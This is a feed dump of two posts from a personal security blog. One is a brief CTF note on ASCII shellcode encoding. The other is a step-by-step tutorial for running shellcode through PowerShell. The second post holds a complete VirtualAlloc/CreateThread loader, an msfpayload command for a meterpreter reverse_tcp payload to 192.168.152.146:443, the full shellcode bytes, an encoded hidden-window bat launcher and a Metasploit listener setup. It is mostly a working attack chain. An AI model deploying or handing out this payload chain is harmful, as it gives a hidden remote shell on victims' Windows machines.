Shellcode on Zet’s playground https://blog.zet.tw/en/tags/shellcode/ Recent content in Shellcode on Zet’s playground Zet’s playground https://blog.zet.tw/img/blog-cover.png https://blog.zet.tw/img/blog-cover.png Hugo -- 0.139.0 en Tue, 09 Feb 2016 00:00:00 +0800 Ascii shellcode https://blog.zet.tw/en/posts/2016-02-09-ascii-shellcode/ Tue, 09 Feb 2016 00:00:00 +0800 https://blog.zet.tw/en/posts/2016-02-09-ascii-shellcode/ <p>You can use the <code>alpha3</code> tool, which produces ascii shellcode that includes an encoder — it uses its own encoder to decode. The resulting shellcode is very short, but this kind of shellcode needs a <code>reg</code> pointing to the start of the shellcode.</p> <p>Some other variants xor by offset and finally <code>jmp esp</code> to execute.</p> <p>Here&rsquo;s a write-up of one challenge&rsquo;s solution:</p> <p>Use a position on the stack together with a <code>ROP</code> <code>ret</code> to jump to that position, then xor the values on the stack against eax, using op codes like <code>xor al,[esp+0x34]</code>; the offset part is padded with <code>push eax</code>, so that eax ends up pointing exactly at our shellcode&rsquo;s location.</p> You can use the alpha3 tool, which produces ascii shellcode that includes an encoder — it uses its own encoder to decode. The resulting shellcode is very short, but this kind of shellcode needs a reg pointing to the start of the shellcode.

Some other variants xor by offset and finally jmp esp to execute.

Here’s a write-up of one challenge’s solution:

Use a position on the stack together with a ROP ret to jump to that position, then xor the values on the stack against eax, using op codes like xor al,[esp+0x34]; the offset part is padded with push eax, so that eax ends up pointing exactly at our shellcode’s location.

See the references below.

References

http://inaz2.hatenablog.com/entry/2014/07/11/004655
http://inaz2.hatenablog.com/entry/2014/07/12/000007
http://inaz2.hatenablog.com/entry/2014/07/13/025626
https://code.google.com/archive/p/alpha3/
https://nets.ec/Ascii_shellcode
]]> Use PowerShell to launch shellcode https://blog.zet.tw/en/posts/2013-03-18-pwershell-lunch-shellcode/ Mon, 18 Mar 2013 00:00:00 +0800 https://blog.zet.tw/en/posts/2013-03-18-pwershell-lunch-shellcode/ <p>A template for executing shellcode:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>$code = &#39;[DllImport(&#34;kernel32.dll&#34;)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(&#34;kernel32.dll&#34;)]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(&#34;msvcrt.dll&#34;)]public static extern IntPtr memset(IntPtr dest, uint src, uint count);&#39;;$winFunc = Add-Type -memberDefinition $code -Name &#34;Win32&#34; -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = SHELLCOD;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; </span></span></code></pre></div><p>The <code>SHELLCOD</code> part is the placeholder to replace.</p> A template for executing shellcode:

$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = SHELLCOD;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

The SHELLCOD part is the placeholder to replace.

We generate our shellcode with msf:

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.146 LPORT=443 C | more

Take a look:

/*
 * windows/x64/meterpreter/reverse_tcp - 422 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.152.146, LPORT=443,
 * ReverseConnectRetries=5, ReverseAllowProxy=false,
 * EXITFUNC=process, AutoLoadStdapi=true,
 * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
 * EnableUnicodeEncoding=true
 */
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x98\x92\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x48\x83\xec"
"\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41"
"\xba\x02\xd9\xc8\x5f\xff\xd5\x48\x83\xc4\x20\x5e\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41"
"\xff\xe7";
/*
 * windows/x64/meterpreter/reverse_tcp - 951296 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] =
"\x4d\x5a\x41\x52\x55\x48\x89\xe5\x48\x81\xec\x20\x00\x00\x00"
"\x48\x8d\x1d\xea\xff\xff\xff\x48\x81\xc3\xf0\x1b\x00\x00\xff"
"\xd3\x48\x89\xc3\x49\x89\xf8\x68\x04\x00\x00\x00\x5a\xff\xd0"
"\x41\xb8\xf0\xb5\xa2\x56\x68\x05\x00\x00\x00\x5a\xff\xd3\x00"

We need to process it into the format we want:

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.146 LPORT=443 C | sed -n -e '1,40p' | sed 's/[";]//g' | sed 's/\\/,0/g' | tr -d '\n'

Use sed to process it; the 40 is the line count, so if the shellcode is longer, adjust it based on how many lines there are. The format after processing:

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x98,0x92,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7

Paste it into our template, then encrypt it with the encryption script:

./ps_encoder.py -s 111

Download link: https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py

After encryption, create a bat file: powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand <encoded string>

Listen with MSF:

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 443
set LHOST 0.0.0.0
exploit

Then run the bat file and you’ll see MSF respond. youtube: http://www.youtube.com/watch?v=oLKTo8dew_o

]]>